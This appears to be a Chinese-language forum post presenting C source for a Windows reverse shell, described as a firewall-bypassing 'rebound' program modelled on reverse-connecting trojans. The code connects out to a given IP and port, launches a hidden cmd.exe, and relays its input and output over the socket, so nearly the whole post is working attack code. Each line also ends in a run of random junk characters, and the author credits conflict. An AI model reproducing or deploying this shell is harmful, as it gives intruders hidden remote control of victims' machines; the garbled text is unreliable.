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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [79 eq=  
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/* ============================== ")/TbT Vu  
Rebound port in Windows NT >&@hm4  
By wind,2006/7 ~?V+^<P  
===============================*/ E8TJ*ZU  
#include [0_JS2KE  
#include `y&d  
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#pragma comment(lib,"wsock32.lib") [DW}z  
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void OutputShell(); ZS&n,<a5L}  
SOCKET sClient; ?4X8l@fR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R&w2y$  
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void main(int argc,char **argv) "6T: &>  
{ *WSH-*0  
WSADATA stWsaData; T6X%.tR>`  
int nRet; [x {S ,?6  
SOCKADDR_IN stSaiClient,stSaiServer; V#j|_N1hm  
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if(argc != 3) U6hT*126  
{ 87/!u]q  
printf("Useage:\n\rRebound DestIP DestPort\n"); T&?0hSYt  
return; 2<d l23  
} NDG3mCl  
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WSAStartup(MAKEWORD(2,2),&stWsaData); VZOf|o  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sm(QgZO[4  
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stSaiClient.sin_family = AF_INET; OSQt:58K  
stSaiClient.sin_port = htons(0); 5lp L$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =F!DwaZ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) btq`[gAF\  
{ GCxtWFXH  
printf("Bind Socket Failed!\n"); m6%csh-N1  
return; eqt+EiH   
} t 6.hg3Y  
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stSaiServer.sin_family = AF_INET; JHY0 J &4s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?[4!2T,Ca  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f%LzWXA  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Wsn}Y-x  
{ Nw'3gJ:  
printf("Connect Error!"); ILt95l  
return; &9CKI/K:  
} lO/<xSjNd  
OutputShell(); ={9G.%W  
} K)2ZH@  
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void OutputShell() >uN`q1?l'  
{ CIt>D'/YT  
char szBuff[1024]; /K mzi9j+  
SECURITY_ATTRIBUTES stSecurityAttributes; 6qA48:/F=  
OSVERSIONINFO stOsversionInfo; m`<Mzk.u<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1y5]+GU'`  
STARTUPINFO stStartupInfo; K 7)1wiEj  
char *szShell; 15Vb`Vf`N  
PROCESS_INFORMATION stProcessInformation; QN[-XQ>Xt  
unsigned long lBytesRead; C24[brf  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $|v_ pjUu]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fI%+  
stSecurityAttributes.lpSecurityDescriptor = 0; pv2_A   
stSecurityAttributes.bInheritHandle = TRUE; o56_t{<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2 Mc/ah  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x^aqnKoJ%\  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r}OK3J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mj0{Nd  
stStartupInfo.wShowWindow = SW_HIDE; @R= gJ:&a  
stStartupInfo.hStdInput = hReadPipe; w]n20&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jsS xjf;O  
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GetVersionEx(&stOsversionInfo); 3kFOs$3  
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switch(stOsversionInfo.dwPlatformId) R}F0_.  
{ 2= X2M  
case 1: \^iPU 27H  
szShell = "command.com"; =whZ?,u1   
break; Y) Y`9u<?  
default: u-Pa:wm0-  
szShell = "cmd.exe"; :mLcb. E  
break; Zam.g>{]  
} W)jO 4,eO  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ; >3q@9\D  
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send(sClient,szMsg,77,0); (OT /o&cQ  
while(1) I|lz;i}$  
{ Z%~j)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zyTP|SXk  
if(lBytesRead) Tl=cniy]  
{ &~U!X~PpB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T^u][I3*  
send(sClient,szBuff,lBytesRead,0); W R@=[G#TJ  
} h5WS<P  
else Y - 6 ?x  
{ e{8z1t20:  
lBytesRead=recv(sClient,szBuff,1024,0); T9]|*~ ,T  
if(lBytesRead<=0) break; a&~_ba+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3DnlXH(h1  
} 9^h\vR|]S  
} mD-qJ6AM  
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return; _f$8{&`k  
}
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